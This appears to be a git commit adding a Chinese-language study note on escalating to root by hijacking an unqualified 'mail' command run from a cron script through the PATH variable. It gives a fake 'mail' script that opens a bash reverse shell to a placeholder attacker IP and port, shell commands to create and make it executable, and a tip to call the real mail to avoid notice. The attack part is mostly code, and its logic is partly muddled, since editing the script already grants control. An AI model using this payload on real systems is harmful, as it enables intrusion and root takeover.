Add files via upload
This commit is contained in:
@@ -0,0 +1,74 @@
|
||||
### 某个定时任务执行的脚本内容是 `\#!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER`,如何利用这个未指定绝对路径的 mail 命令提权
|
||||
|
||||
**攻击原理:滥用 `PATH` 环境变量**
|
||||
|
||||
这个漏洞利用的核心在于 **`PATH` 环境变量的优先级**
|
||||
|
||||
1. **`PATH` 的作用:** 在 Linux 系统中,当用户执行一个未指定绝对路径的命令(如 `mail` 或 `ls`)时,系统会按照 `PATH` 环境变量中列出的目录顺序,从左到右进行搜索,找到第一个匹配的同名可执行文件并运行
|
||||
2. **`root` 用户的 `PATH`:** `root` 用户的 `PATH` 环境变量通常包含 `/usr/local/sbin`、`/usr/local/bin`、`/usr/sbin`、`/usr/bin` 等系统目录
|
||||
3. **漏洞利用:** 如果我们能够**修改**或**控制**脚本执行时的 `PATH` 环境变量,将一个我们具有写入权限的目录(例如 `/tmp` 或 `/home/user/bin`)添加到搜索路径的**最前面**,那么系统就会优先执行我们在这个目录中创建的**恶意程序**,而不是真正的 `/usr/bin/mail`
|
||||
4. **最终目标:** 我们将创建一个名为 `mail` 的恶意可执行文件,它真正的作用是执行我们的提权命令(获取一个 Root Shell)
|
||||
|
||||
****
|
||||
|
||||
**攻击载荷的构造与放置**
|
||||
|
||||
攻击的核心是创建一个名为 `mail` 的恶意可执行文件,并确保它能被 Root 用户的 `cron` 任务找到并执行
|
||||
|
||||
**1. 构造恶意 Payload**
|
||||
|
||||
我们创建一个简单的 Shell 脚本作为我们的恶意 `mail` 程序。这个脚本将执行我们想要运行的任何 Root 命令。最直接的目标是获取一个 **Root Shell**
|
||||
|
||||
**文件内容:**
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# 1. 执行反弹 Shell 命令
|
||||
# 确保替换 YOUR_ATTACKER_IP 和 YOUR_PORT
|
||||
/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 &
|
||||
|
||||
# 2. (可选)执行真正的 mail 命令以避免 cron 任务报错
|
||||
# 这样做能让管理员和脚本看起来一切正常。
|
||||
# /usr/bin/mail -s "Status" $USER
|
||||
```
|
||||
|
||||
**2. Payload 放置位置**
|
||||
|
||||
我们选择一个我们有写入权限的目录,并确保该目录能在 `cleanup.sh` 执行时被添加到 `PATH` 环境变量中
|
||||
|
||||
**策略 A:修改用户级的 `PATH` 变量(针对 `cron` 任务)**
|
||||
|
||||
许多系统的 `cron` 守护进程在执行任务时,不会加载完整的用户环境变量文件(如 `.bashrc` 或 `.profile`),而是使用一个最小化的、硬编码的 `PATH`。因此,我们必须**直接修改 `cleanup.sh` 脚本**或者**在环境变量文件中强制覆盖**
|
||||
|
||||
步骤 1:创建 Payload 和目录
|
||||
|
||||
假设我们在自己的家目录中创建这个目录和文件:
|
||||
|
||||
```bash
|
||||
mkdir -p /home/user/bin
|
||||
# 写入恶意 Shell 脚本
|
||||
echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 &' > /home/user/bin/mail
|
||||
# 赋予执行权限
|
||||
chmod +x /home/user/bin/mail
|
||||
```
|
||||
|
||||
步骤 2:劫持 `cleanup.sh` 脚本的 `PATH`(必需)
|
||||
|
||||
我们必须修改 `/home/user/cleanup.sh`,在执行 `mail` 命令之前,强制将我们的恶意目录添加到 `PATH` 的最前面
|
||||
|
||||
修改后的 `/home/user/cleanup.sh` 脚本内容:
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# 【!!! 攻击载荷:添加恶意目录到 PATH 最前面 !!!】
|
||||
export PATH="/home/user/bin:$PATH"
|
||||
|
||||
# 脚本中的其他命令 (都使用了绝对路径,不受影响)
|
||||
/bin/some/command
|
||||
/bin/another/command
|
||||
|
||||
# 原始命令:系统现在会优先找到 /home/user/bin/mail 并执行
|
||||
echo "Cleanup started" | mail -s "Status" $USER
|
||||
```
|
||||
Reference in New Issue
Block a user